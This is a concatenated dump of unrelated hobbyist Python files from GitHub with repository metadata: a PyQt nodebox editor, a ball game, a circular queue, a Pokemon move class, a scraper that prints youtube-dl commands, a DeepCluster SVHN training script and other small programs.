self.hbMainLayout.addLayout(self.grLayout, 10)\n        self.hbMainLayout.addLayout(self.vbRightLayout, 1)\n\n        self.grLayout.addWidget(QLabel(\"X view\"), 2, 0)\n        self.grLayout.addWidget(self.views['yz'], 3, 0)\n        self.grLayout.addWidget(QLabel(\"Z view\"), 2, 1)\n        self.grLayout.addWidget(self.views['xy'], 3, 1)\n        self.widget.setLayout(self.hbMainLayout)\n        self.setCentralWidget(self.widget)\n        self.setWindowTitle(\"Nodebox editor\")\n        self.resize(1000, 600)\n\n    def createMenu(self):\n        self.menuBar = QMenuBar()\n        self.fileMenu = self.menuBar.addMenu(\"&File\")\n        self.helpMenu = self.menuBar.addMenu(\"&Help\")\n        self.aNewProject = self.fileMenu.addAction(\"Start new project\")\n        self.aOpen = self.fileMenu.addAction(\"Open\")\n        self.aSave = self.fileMenu.addAction(\"Save as...\")\n        self.aExport = self.fileMenu.addAction(\"Export as...\")\n        self.fileMenu.addSeparator()\n        self.aExitApp = self.fileMenu.addAction(\"Exit\")\n        self.setMenuBar(self.menuBar)\n\n    def addBox(self):\n        self.blocks.append(Block([-8, -8, -8, 1],\n                                 [8, 8, 8, 1]))\n        self.block_count += 1 # BTW, we will not decrease this value\n        self.cbSelectBox.addItems([\"Block\" + str(self.block_count)])\n        self.cbSelectBox.setCurrentIndex(self.cbSelectBox.count()-1)\n        self.update()\n        self.current_block = self.blocks[self.cbSelectBox.currentIndex()]\n        self.sendCurrentBlock(self.current_block)\n\n    def deleteBox(self):\n        if self.cbSelectBox.count() != 0:\n            idx = self.cbSelectBox.currentIndex()\n            del self.blocks[idx]\n            self.cbSelectBox.removeItem(idx)\n            if self.cbSelectBox.count() != 0:\n                self.cbSelectBox.setCurrentIndex(0)\n                self.current_block = self.blocks[0]\n                self.sendCurrentBlock(self.current_block)\n            else:\n                self.current_block = 0;\n                self.sendCurrentBlock(0)\n        self.update()\n\n    def connectSlots(self):\n        self.aExitApp.triggered.connect(lambda: sys.exit(0))\n        self.aExport.triggered.connect(self.actionExport)\n        self.aSave.triggered.connect(self.actionSave)\n        self.aNewProject.triggered.connect(self.actionNewProject)\n        self.pbAddBox.clicked.connect(self.addBox)\n        self.pbDeleteBox.clicked.connect(self.deleteBox)\n        self.cbSelectBox.activated.connect(self.cbSwitch)\n        self.slScale.valueChanged.connect(self.slScaleChange)\n        self.slResolution.valueChanged.connect(self.slResolutionChange)\n        self.aOpen.triggered.connect(self.actionOpen)\n        for (key, button) in self.turn_buttons.items():\n            button.clicked.connect(partial(self.turn, key))\n        for (key, button) in self.swap_buttons.items():\n            button.clicked.connect(partial(self.swap, key))\n\n    def actionNewProject(self):\n        self.blocks.clear()\n        self.current_block = 0\n        self.cbSelectBox.clear()\n        self.sendCurrentBlock(0)\n        self.block_count = 0\n        self.update()\n\n    def actionExport(self):\n        if using_qt5:\n            export_as = QFileDialog.getSaveFileName(self, \"Export as...\")[0]\n        else:\n            export_as = QFileDialog.getSaveFileName(self, \"Export as...\")\n        create_code = codegen.codegen(self, \"mynode\", self.blocks, self.resolution)\n        if export_as != \"\":\n            create_code.writeToFile(export_as)\n\n    def actionSave(self):\n        if using_qt5:\n            save_as = QFileDialog.getSaveFileName(self, \"Save as...\")[0]\n        else:\n            save_as = QFileDialog.getSaveFileName(self, \"Save as...\")\n        if save_as != \"\":\n            output_file = open(save_as, \"w+\")\n            for b in self.blocks:\n                output_file.write(\" \".join([\n                    str(b.p1()[0]), str(b.p1()[2]), str(b.p1()[1]),\n                    str(b.p2()[0]), str(b.p2()[2]), str(b.p2()[1])]) + \"\\n\")\n            output_file.close()\n\n    def sendCurrentBlock(self, block):\n        for view in self.views.values():\n            view.set_current_block(block)\n\n    def sendScale(self, scale):\n        for view in self.views.values():\n            view.set_scale(scale)\n        self.gvMain.scale = scale\n\n    def sendResolution(self, resolution):\n        for view in self.views.values():\n            view.set_resolution(resolution)\n        self.gvMain.resolution = resolution\n        self.resolution        = resolution\n\n    def actionOpen(self):\n        if using_qt5:\n            open_from = QFileDialog.getOpenFileName(self, \"Open file\")[0]\n        else:\n            open_from = QFileDialog.getOpenFileName(self, \"Open file\")\n        input_file = open(open_from, \"r\")\n        self.blocks.clear()\n        self.sendCurrentBlock(0)\n        self.cbSelectBox.clear()\n        for line in input_file:\n            t = [int(token) for token in line.split(\" \")]\n            self.blocks.append(Block([t[0], t[2], t[1], 1],\n                [t[3], t[5], t[4], 1]))\n            self.cbSelectBox.addItems([\"Block\" + str(len(self.blocks))])\n        input_file.close()\n        self.update()\n\n    def cbSwitch(self):\n        self.current_block = self.blocks[self.cbSelectBox.currentIndex()]\n        self.sendCurrentBlock(self.current_block)\n        self.update()\n\n    def slScaleChange(self):\n        self.sendScale(self.slScale.value())\n        self.update()\n\n    def slResolutionChange(self):\n        self.sendResolution(2**self.slResolution.value())\n        self.update()\n\n    def swap(self, coords):\n        for b in self.blocks:\n            b.swap(coords)\n        self.update()\n\n    def turn(self, coord):\n        for b in self.blocks:\n            b.turn(coord)\n        self.update()\n\n\ndef main():\n    app = QApplication(sys.argv)\n    mw = MainWindow()\n    mw.show()\n    sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"Penguinum/py-nodebox-editor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"44142005700","text":"\ndef slope(source, length):\n    x_values = []\n    y_values = []\n    xy_values = []\n    xsq_values = []\n    for x in range(length):\n        x_values.append(x+1)\n        y_values.append(source[x])\n        xy_values.append(x_values[-1] * y_values[-1])\n        xsq_values.append(x_values[-1] ** 2)\n\n    _slope = ((length * sum(xy_values)) - (sum(x_values) * sum(y_values))\n              ) / ((length * sum(xsq_values)) - (sum(x_values) ** 2)) * -1\n    _average = sum(y_values) / length\n    _intercept = (sum(y_values) - (_slope * sum(x_values))) / length\n\n    return _slope, _average, _intercept\n\n\ndef dev(source, high, low, length, slope, average, intercept):\n    upper_dev = 0\n    lower_dev = 0\n    stdDevAcc = 0\n    dsxx = 0\n    dsyy = 0\n    dsxy = 0\n    period = length - 1\n    daY = intercept + slope * period / 2\n    _intercept = intercept\n\n    for x in range(period):\n        _price = high[x] - _intercept\n\n        if _price > upper_dev:\n            upper_dev = _price\n\n        _price = _intercept - low[x]\n\n        if _price > lower_dev:\n            lower_dev = _price\n\n        _price = source[x]\n        dxt = _price - average\n        dyt = _intercept - daY\n        _price -= _intercept\n        stdDevAcc += _price * _price\n        dsxx += dxt * dxt\n        dsyy += dyt * dyt\n        dsxy += dxt * dyt\n        _intercept += slope\n\n    if period == 0:\n        stdDev = (stdDevAcc / 1) ** (1 / 2)\n    else:\n        stdDev = (stdDevAcc / period) ** (1 / 2)\n\n    if dsxx == 0 or dsyy == 0:\n        pearsonR = 0\n    else:\n        pearsonR = dsxy / ((dsxx * dsyy) ** (1 / 2)) * -1\n\n    return stdDev, pearsonR, upper_dev, lower_dev\n\n\ndef lin_regression(close, length):\n    s, a, i = slope(close, length)\n    startPrice = i + s * (length - 1)\n    endPrice = i\n    std, pr, ud, ld = dev(close, length, s, a, i)\n\n    upperMultInput = 2.0\n    lowerMultInput = 2.0\n    upperStartPrice = startPrice + (upperMultInput * std)\n    upperEndPrice = endPrice + (upperMultInput * std)\n    lowerStartPrice = startPrice + (-lowerMultInput * std)\n    lowerEndPrice = endPrice + (-lowerMultInput * std)\n","repo_name":"Senhizas/Nous","sub_path":"archive/indicators/lin_reg_ind.py","file_name":"lin_reg_ind.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11584360049","text":"import pygame, sys, random\n\n'''\n   Move class\n   Example of move 'Scratch':\n      self.move_name = 'Scratch'\n      self.type = 'Attack' (or Buff, Debuff)\n      self.attack_power = 60 (or 1x = Increase/Decrease <Attack> by 1x)\n      self.involved_stat = 'Attack'\n      self.move_type = 'Normal'\n\n'''\n\ndef calculate_damage(poke_level, move_power, a_stat, d_stat):\n    factor = random.uniform(0.85, 1)\n    return int((((2 * poke_level / 5 + 2) * move_power * a_stat/d_stat) / 50 + 2) * factor)\n\nclass Move():\n    def __init__(self, move_name, type, attack_power, involved_stat, move_type):\n        super().__init__()\n        self.move_name = move_name\n        self.type = type\n        self.attack_power = attack_power\n        self.involved_stat = involved_stat\n        self.move_type = move_type\n\n        '''\n        # For Animation\n        self.time = 0\n        if self.type == 'Attack':\n            self.image = 'images/move_effects/scratch.png'\n        elif self.type == 'Buff':\n            print('lol') # No Pokemon have Buff moves yet\n            self.image = 'images/move_effects/debuff.png'\n        else: #Debuff\n            self.image = 'images/move_effects/debuff.png'\n        '''\n\n    # 3 Types of Moves: Attacking, Buffing (self), Debuffing (opponent)\n    def execute_move(self, player_pokemon, opponent_pokemon):\n        if self.type == 'Attack':\n            if self.involved_stat == 'Attack': \n                damage = calculate_damage(player_pokemon.level, self.attack_power, player_pokemon.current_stats['Attack'], opponent_pokemon.current_stats['Defense'])\n                opponent_pokemon.lose_hp(damage)\n            else: #'SpAtk'\n                damage = calculate_damage(player_pokemon.level, self.attack_power, player_pokemon.current_stats['SpAtk'], opponent_pokemon.current_stats['SpDef'])\n                opponent_pokemon.lose_hp(damage)\n        elif self.type == 'Buff':\n            print('lol') # No Pokemon have Buff moves yet\n        else: # Debuff\n            opponent_pokemon.current_stats[self.involved_stat] = opponent_pokemon.current_stats[self.involved_stat] - self.attack_power\n    \n    '''\n    def animate_move(self, surface, x, y):\n        img = pygame.image.load(self.image)\n        img = pygame.transform.scale(img, (100, 100))\n        surface.blit(img, (x,y))\n    '''\n\n","repo_name":"yayeetying/Platinum","sub_path":"move.py","file_name":"move.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71597076032","text":"def enqueue(arr, element):\n    global front, rear, size\n    if((rear+1) % size  == front):\n        print(\"******** Queue is Overflow ********\\n\")\n    elif(front == -1):\n            front += 1\n            rear += 1 \n            arr[rear] = element \n            print(f\"\\n{element} Added Successfully in queue\\n\")\n    else:\n        rear = (rear + 1) % size  \n        arr[rear] = element\n        print(f\"\\n{element} Added Successfully in queue\\n\")\n\ndef dequeue(arr):\n    global front, rear, size\n    if(front == -1):\n        print(\"******** Queue is underflow ********\\n Please First Enter a element \\n\")\n    elif(front == rear):\n        removeElement = arr[front] \n        arr[front] = \"\"\n        front = -1\n        rear = -1 \n        print(f\"{removeElement} has been removed :\\n\")\n    else:\n        removeElement = arr[front]\n        arr[front] = \"\"\n        front = (front +1)% size\n        print(f\"{removeElement} has been removed :\\n\") \n\ndef frontItem(arr):\n    global front, rear, size\n    if(front ==-1):\n        print(\" ******** Circular-Queue is empty ********\")   \n    else:\n        print(\"FrontItem : \", arr[front])\ndef rearItem(arr):\n    global front, rear, size\n    if(front == -1):\n        print(\" ******** Circular-Queue is empty ********\")   \n\n    else:\n        print(\"realItem : \", arr[rear])    \n           \n\nprint(\" {:*^60s} \".format(\" Welcome to Circular Queue Program \"))\n\n\ncheckSize = True \nwhile True:\n    if(checkSize): \n        queueSize = int(input(\"\\nEnter size of Queue  : \"))\n        if(queueSize > 0 ):\n            checkSize = False \n            size = queueSize \n            front = -1 \n            rear =  -1 \n            arr = [ 0  for i in range(queueSize)]\n\n          \n        else:\n            checkSize = True\n            print(\"\\nPlease enter size positive and greater than zero \\n\")\n  \n    if(checkSize == False): \n\n        choice   = int(input(\"\\nEnter you choice Number:\\n[1] Enqueue \\n[2] Dequeue \\n[3] FrontItem \\n[4] RearItem \\n[5] Exit \\n\" ))\n\n        if(choice == 1):\n            enqueue(arr, input(\"Enter a element : \"))\n\n        elif(choice == 2):\n            dequeue(arr)\n        elif(choice == 3):\n            frontItem(arr)\n        elif(choice == 4):\n            rearItem(arr)    \n        elif(choice == 5):\n\n            print(\"Thank you for doing some operations \\n\")  \n            break         \n        else:\n            print(\"\\n******* Invalid  Number *********\")     ","repo_name":"krishna2808/INEXTURE-Solutions-LLP","sub_path":"Python Algorithm/circular_queue.py","file_name":"circular_queue.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20969108307","text":"from classes import Solver, Puzzle\n\nprint(\"Please Enter Goal State(like '1 2 3 4 5 6 7 8 0')\")\ntemp = [int(i) for i in input().replace(\" \", \"\").split(\"\")]\nprint(\"Please Enter First State(like '7 2 4 5 0 6 8 3 1')\")\nPuzzle.set_goal([int(i) for i in input().replace(\" \", \"\").split(\"\")])\nsolver = Solver(temp)\n\nsolver.solve()\n\nprint(solver.queue[0])\n\n\n","repo_name":"M-Kia/UniversityAIProject","sub_path":"Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13034245840","text":"from graphics import *\nimport random\n\n#Home Screen\nwin = GraphWin(\"Ball Game\", 800, 600)\nwin.setBackground(color_rgb(0, 200, 255))\n\n#Play\ntxt= Text(Point(400, 300), \"PLAY\")\ntxt.setTextColor(color_rgb(230, 240, 240))\ntxt.setSize(30)\ntxt.draw(win)\n\n#To Save\ntxt1=Text(Point(400, 400), \"\"\"After set your name\nDouble click on PLAY to start\n\"\"\")\ntxt1.setTextColor(\"black\")\ntxt1.setSize(10)\ntxt1.draw(win)\n\n#Name of Player\ntextEntry=Entry(Point(400, 350), 14)\ntextEntry.draw(win)\nwin.getMouse()\ntext= textEntry.getText()\ntop3=[]\ntop3.append(text)\nwin.getMouse()\n\ntxt.undraw()\ntxt1.undraw()\ntextEntry.undraw()\n\n#The Game\n\nLinhaSuperior= Line(Point (0, 40),Point(800, 40))\nLinhaSuperior.setWidth(10)\nLinhaSuperior.setFill(color_rgb(230, 240, 240))\nLinhaSuperior.draw(win)\n\nlinhaInferior = Line(Point(0, 550), Point(800, 550))\nlinhaInferior.setWidth(3)\nlinhaInferior.setFill(color_rgb(230, 240, 240))\nlinhaInferior.draw(win)\n\n#Ball\ncol = 390\nlin = 80\nraio = 15\ncirculo=Circle(Point(col, lin), raio)\ncirculo.setFill(color_rgb(10, 10, 100))\ncirculo.draw(win)\n\n#Points\npts= 0\npontos=Text(Point(400,575), f\"{text}:\" + str(pts))\npontos.setSize(14)\npontos.draw(win)\n\n#Difficulty\nnivel=1\ndificuldade=Text(Point(400, 20), \"Level \" + str(nivel))\ndificuldade.setSize(14)\ndificuldade.draw(win)\n\n#Hearts\npoly1= Polygon(Point(40,575), Point(81,575), Point(60,595))\npoly1.setFill(color=\"red\")\npoly1.setOutline(color=\"red\")\npoly1.draw(win)\n\ncor = Circle(Point(53, 570), 14)\ncor.setFill(color=\"red\")\ncor.setOutline(color=\"red\")\ncor.draw(win)\n\ncor1 = Circle(Point(68, 570), 14)\ncor1.setFill(color=\"red\")\ncor1.setOutline(color=\"red\")\ncor1.draw(win)\n\npoly2= Polygon(Point(98,578), Point(134,578), Point(115,595))\npoly2.setFill(color=\"red\")\npoly2.setOutline(color=\"red\")\npoly2.draw(win)\n\ncor2 = Circle(Point(108, 570), 14)\ncor2.setFill(color=\"red\")\ncor2.setOutline(color=\"red\")\ncor2.draw(win)\n\ncor3 = Circle(Point(123, 570), 14)\ncor3.setFill(color=\"red\")\ncor3.setOutline(color=\"red\")\ncor3.draw(win)\n\npoly3= Polygon(Point(150,575), Point(190,575), Point(170,595))\npoly3.setFill(color=\"red\")\npoly3.setOutline(color=\"red\")\npoly3.draw(win)\n\ncor4 = Circle(Point(163, 570), 14)\ncor4.setFill(color=\"red\")\ncor4.setOutline(color=\"red\")\ncor4.draw(win)\n\ncor5 = Circle(Point(178, 570), 14)\ncor5.setFill(color=\"red\")\ncor5.setOutline(color=\"red\")\ncor5.draw(win)\n\n#Cloud\nRaio=20\nx, y = 350, 530\nx1, y1 = 370,520\nx2, y2 = 400, 520\nx3, y3 = 430, 520\nx4, y4 = 450, 530\nx5, y5 = 370, 545\nx6, y6 = 400, 545\nx7, y7 = 430, 545\n\ncir=Circle(Point(x,y), Raio)\ncir.setFill(color='white')\ncir.setOutline(color=\"white\")\ncir.draw(win)\n\ncir1=Circle(Point(x1,y1), Raio)\ncir1.setFill(color='white')\ncir1.setOutline(color=\"white\")\ncir1.draw(win)\n\ncir2=Circle(Point(x2,y2), Raio)\ncir2.setFill(color='white')\ncir2.setOutline(color=\"white\")\ncir2.draw(win)\n\ncir3=Circle(Point(x3,y3),Raio)\ncir3.setFill(color='white')\ncir3.setOutline(color=\"white\")\ncir3.draw(win)\n\ncir4=Circle(Point(x4,y4), Raio)\ncir4.setOutline(color=\"white\")\ncir4.setFill(color='white')\ncir4.draw(win)\n\ncir5=Circle(Point(x5,y5), Raio)\ncir5.setFill(color='white')\ncir5.setOutline(color=\"white\")\ncir5.draw(win)\n\ncir6=Circle(Point(x6,y6), Raio)\ncir6.setFill(color='white')\ncir6.setOutline(color=\"white\")\ncir6.draw(win)\n\ncir7=Circle(Point(x7,y7), Raio)\ncir7.setFill(color='white')\ncir7.setOutline(color=\"white\")\ncir7.draw(win)\n\n\nvelocidade=5\nbateu = True\ncontinuar = True\nvida=0\n\nwhile continuar:\n\n  if bateu:\n      passo = random.randrange(1, 10)\n      if random.random() < 0.5:\n          passo = -passo\n      bateu = False\n\n  if (col + raio + passo) > 800:\n      passo = -passo\n\n  if (col - raio + passo) < 0:\n      passo = -passo\n\n  if lin < 65:\n      velocidade = -velocidade\n\n  if lin == 520 and col > x and col < x4:\n      velocidade = -velocidade\n      pontos.undraw()\n      pts += 1\n      pontos = Text(Point(400, 575), f\"{text}:\" + str(pts))\n      pontos.setSize(14)\n      pontos.draw(win)\n      if pts==5:\n        velocidade-= 5\n        dificuldade.undraw()\n        nivel+=1\n        dificuldade = Text(Point(400, 20), \"NÍVEL \" + str(nivel) )\n        dificuldade.setSize(14)\n        dificuldade.draw(win)\n      if pts==10:\n          velocidade -= 10\n          dificuldade.undraw()\n          nivel += 1\n          dificuldade = Text(Point(400, 20), \"NÍVEL \" + str(nivel) )\n          dificuldade.setSize(14)\n          dificuldade.draw(win)\n\n  if lin>600:\n      vida+=1\n      if vida<3:\n          circulo.undraw()\n          col = 390\n          lin = 80\n          raio = 15\n          circulo = Circle(Point(col, lin), raio)\n          circulo.setFill(color_rgb(10, 10, 100))\n          circulo.draw(win)\n      if vida==1:\n          poly3.undraw()\n          cor5.undraw()\n          cor4.undraw()\n      if vida==2:\n          poly2.undraw()\n          cor3.undraw()\n          cor2.undraw()\n      if vida==3:\n          poly1.undraw()\n          cor1.undraw()\n          cor.undraw()\n          pontos.undraw()\n          txt = Text(Point(400, 300), \"You lose\")\n          txt.setTextColor(color=\"white\")\n          txt.setSize(30)\n          txt.draw(win)\n          pontos = Text(Point(400, 350), f\"{text}:\" + str(pts))\n          pontos.setSize(14)\n          pontos.draw(win)\n          win.getMouse()\n          break\n\n  # New Circle position\n  circulo.undraw()\n  col += passo\n  lin += velocidade\n  circulo = Circle(Point(col, lin), 15)\n  circulo.setFill(color_rgb(10, 10, 100))\n  circulo.draw(win)\n\n  # Horizontal movement of the bar by the right/left arrows\n  tecla = win.checkKey()\n\n  # Left the Game\n  if tecla == \"Escape\":\n      continuar = False\n      continue\n\n  if tecla == \"Right\":\n      if x < 680:\n          x+=20\n      cir.undraw()\n      cir=Circle(Point(x,y), 20)\n      cir.setFill(color='white')\n      cir.setOutline(color=\"white\")\n      cir.draw(win)\n      if x1 < 700:\n          x1+=20\n      cir1.undraw()\n      cir1=Circle(Point(x1,y1), 20)\n      cir1.setFill(color='white')\n      cir1.setOutline(color=\"white\")\n      cir1.draw(win)\n      if x2 < 740:\n          x2+=20\n      cir2.undraw()\n      cir2=Circle(Point(x2,y2),20)\n      cir2.setFill(color='white')\n      cir2.setOutline(color=\"white\")\n      cir2.draw(win)\n      if x3 < 760:\n          x3+=20\n      cir3.undraw()\n      cir3=Circle(Point(x3,y3),20)\n      cir3.setFill(color='white')\n      cir3.setOutline(color=\"white\")\n      cir3.draw(win)\n      if x4 < 780:\n          x4+=20\n      cir4.undraw()\n      cir4=Circle(Point(x4,y4),20)\n      cir4.setFill(color='white')\n      cir4.setOutline(color=\"white\")\n      cir4.draw(win)\n      if x5 < 700:\n          x5+=20\n      cir5.undraw()\n      cir5=Circle(Point(x5,y5),20)\n      cir5.setFill(color='white')\n      cir5.setOutline(color=\"white\")\n      cir5.draw(win)\n      if x6 < 740:\n          x6+=20\n      cir6.undraw()\n      cir6=Circle(Point(x6,y6),20)\n      cir6.setFill(color='white')\n      cir6.setOutline(color=\"white\")\n      cir6.draw(win)\n      if x7 < 760:\n          x7+=20\n      cir7.undraw()\n      cir7=Circle(Point(x7,y7),20)\n      cir7.setFill(color='white')\n      cir7.setOutline(color=\"white\")\n      cir7.draw(win)\n\n\n  if tecla == \"Left\":\n      if x > 10:\n          x+=-20\n      cir.undraw()\n      cir = Circle(Point(x, y), 20)\n      cir.setFill(color='white')\n      cir.setOutline(color=\"white\")\n      cir.draw(win)\n\n      if x1 > 40:\n          x1+=-20\n      cir1.undraw()\n      cir1 = Circle(Point(x1, y1), 20)\n      cir1.setFill(color='white')\n      cir1.setOutline(color=\"white\")\n      cir1.draw(win)\n\n      if x2 > 60:\n          x2+=-20\n      cir2.undraw()\n      cir2 = Circle(Point(x2, y2), 20)\n      cir2.setFill(color='white')\n      cir2.setOutline(color=\"white\")\n      cir2.draw(win)\n\n      if x3 > 100:\n          x3+=-20\n      cir3.undraw()\n      cir3 = Circle(Point(x3, y3), 20)\n      cir3.setFill(color='white')\n      cir3.setOutline(color=\"white\")\n      cir3.draw(win)\n\n      if x4 > 120:\n          x4+=-20\n      cir4.undraw()\n      cir4 = Circle(Point(x4, y4), 20)\n      cir4.setFill(color='white')\n      cir4.setOutline(color=\"white\")\n      cir4.draw(win)\n\n      if x5 > 40:\n          x5+=-20\n      cir5.undraw()\n      cir5 = Circle(Point(x5, y5), 20)\n      cir5.setFill(color='white')\n      cir5.setOutline(color=\"white\")\n      cir5.draw(win)\n\n      if x6 > 60:\n          x6+=-20\n      cir6.undraw()\n      cir6 = Circle(Point(x6, y6), 20)\n      cir6.setFill(color='white')\n      cir6.setOutline(color=\"white\")\n      cir6.draw(win)\n\n      if x7 > 100:\n          x7+=-20\n      cir7.undraw()\n      cir7 = Circle(Point(x7, y7), 20)\n      cir7.setFill(color='white')\n      cir7.setOutline(color=\"white\")\n      cir7.draw(win)\n\n  # Wait for the human to react\n  time.sleep(.07)\n\n\nwin.close()\n","repo_name":"dauid64/ball_game","sub_path":"Jogo.py","file_name":"Jogo.py","file_ext":"py","file_size_in_byte":8623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1166716418","text":"\r\nfrom functools import reduce\r\nfrom lxml import etree\r\nwith open(\"tt.html\", \"r\") as fd :    html = fd.read()\r\n#print(html)\r\ndom = etree.HTML(html)\r\ne = dom.xpath(\"//aaa/div/ytd-grid-video-renderer/div/div\")\r\nl = [ ee.xpath(\"div/h3/a\") for ee in e]\r\n\r\nl = [ee for ee in l if len(ee) > 0]\r\nprint(len(l))\r\n\r\nfor ee in l :\r\n    #print(ee[0].items())\r\n    title = ee[0].text\r\n    title = reduce(lambda s, p : s.replace(p, '_'), \" -()?/[]'`\\\",:\", title) \r\n    print(\"youtube-dl https://www.youtube.com/\" + dict(ee[0].items())['href'] + \" -o %s -x --audio-format mp3 \" )\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"louis-chevallier/html_web_scrapping","sub_path":"tt.py","file_name":"tt.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73198933310","text":"import unittest\n\nimport scipy.misc as misc\n\nimport augmentation as aug\nimport definitions as defs\nimport utilities.utilities as utils\n\nclass PreprocessingTest(unittest.TestCase):\n    \n    def setUp(self):\n        unittest.TestCase.setUp(self)\n        self.training_directory = defs.UNIT_TEST_RESOURCE_ROOT_DIR + '/data/train'\n        self.test_directory = defs.UNIT_TEST_RESOURCE_ROOT_DIR + '/data/test'\n        self.image_width = 182\n        self.batch_size = 4\n        self.num_labels = len(utils.get_labels(self.training_directory))\n    \n    def test_resize_and_random_crop(self):\n        resize = aug.resize_and_random_crop(self.image_width)\n        resized_image = resize(\n            misc.imread(self.training_directory + '/DOL/img_00165.jpg'))\n        self.assertTrue(max(resized_image.shape[:2]) >= self.image_width)\n        self.assertEqual(self.image_width, min(resized_image.shape[:2]))\n    \n    def test_resize_and_center_crop(self):\n        resize = aug.resize_and_center_crop(self.image_width)\n        resized_image = resize(\n            misc.imread(self.training_directory + '/DOL/img_00165.jpg'))\n        self.assertTrue(max(resized_image.shape[:2]) >= self.image_width)\n        self.assertEqual(self.image_width, min(resized_image.shape[:2]))\n","repo_name":"aaronmckinstry706/semisupervised-experiment","sub_path":"src/imgload/augmentation_test.py","file_name":"augmentation_test.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3509501975","text":"class Solution:\n    def lengthOfLongestSubstring(self, s: str) -> int:\n        alpha = set()\n        lst = 0\n        answer = 0\n        for idx, c in enumerate(s):\n            while c in alpha:\n                alpha.remove(s[lst])\n                lst += 1\n            alpha.add(c)\n            answer = max(answer, len(alpha))\n        return answer\n","repo_name":"subinium/Problem-Solving","sub_path":"leetcode/003-longest-substring-without-repeating-characters.py","file_name":"003-longest-substring-without-repeating-characters.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"60"}
+{"seq_id":"7949277127","text":"def main():\n    try:\n        divisor = float(input(\"Ingresa un número para dividir 10 entre él: \"))\n        result = 10 / divisor\n        print(f\"El resultado de la división es: {result}\")\n    except ZeroDivisionError:\n        print(\"Error: No se puede dividir entre cero.\")\n    except ValueError:\n        print(\"Error: Ingresa un valor numérico válido.\")\n\nmain()","repo_name":"aliriomiguel/python_div","sub_path":"python_div.py","file_name":"python_div.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34012587433","text":"# %%\nimport sys\nsys.path.append(\"../\")\nsys.path.append(\"../evaluation\")\n\n# %%\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import SVHN\nfrom torchvision import transforms\nfrom torch.utils.tensorboard import SummaryWriter\n\n# %%\nfrom deep_clustering_models import AlexNet_Small\nfrom deep_clustering_dataset import DeepClusteringDataset\nfrom deep_clustering import deep_cluster\nfrom utils import set_seed\n \n#%%\nset_seed(0)\n\n#%%\n\nsvhn = SVHN(\"../datasets\", download= True)\n\ndataset = DeepClusteringDataset(svhn)\n\nnormalize = transforms.Normalize(mean= [0.4377, 0.4438, 0.4728],\n                                 std= [0.1201, 0.1231, 0.1052])\n\ntraining_transform = transforms.Compose([\n                            transforms.RandomResizedCrop(224),\n                            transforms.RandomHorizontalFlip(),\n                            transforms.ToTensor(),\n                            normalize])\n\nloading_transform = transforms.Compose([\n                            transforms.Resize(256),\n                            transforms.CenterCrop(224),\n                            transforms.ToTensor(),\n                            normalize])\n\n\n# %%\n# svhn.transform = transforms.Compose([transforms.ToTensor()])\n# loader = DataLoader(svhn,\n#                          batch_size=10,\n#                          num_workers=0,\n#                          shuffle=False)\n\n# mean = 0.\n# std = 0.\n# for images, _ in loader:\n#     batch_samples = images.size(0) # batch size (the last batch can have smaller size!)\n#     images = images.view(batch_samples, images.size(1), -1)\n#     mean += images.mean(2).sum(0)\n#     std += images.std(2).sum(0)\n\n# mean /= len(loader.dataset) # 0.4377, 0.4438, 0.4728\n# std /= len(loader.dataset) # 0.1201, 0.1231, 0.1052\n\n# %%\ndevice = torch.device(\"cpu\")\nmodel = AlexNet_Small(sobel= True, batch_normalization=True, device=device)\n\nloss_fn = torch.nn.CrossEntropyLoss()\n\noptimizer = torch.optim.SGD(\n    filter(lambda x: x.requires_grad, model.parameters()),\n    lr= 0.01,\n    momentum=0.9,\n    weight_decay=0.00005,\n)\n\n\n# %%\nwriter = SummaryWriter(log_dir=\"./runs/svhn\")\n\n# %%\n\ndeep_cluster(\n    model= model,\n    dataset= dataset,\n    n_clusters= 10,\n    loss_fn= loss_fn,\n    optimizer= optimizer,\n    n_cycles= 30,\n    loading_transform= loading_transform,\n    training_transform=training_transform,\n    random_state=0,\n    verbose=True,\n    writer= writer\n)","repo_name":"AhmadM-DL/DeepClusterImplementation","sub_path":"notebooks/svhn.py","file_name":"svhn.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
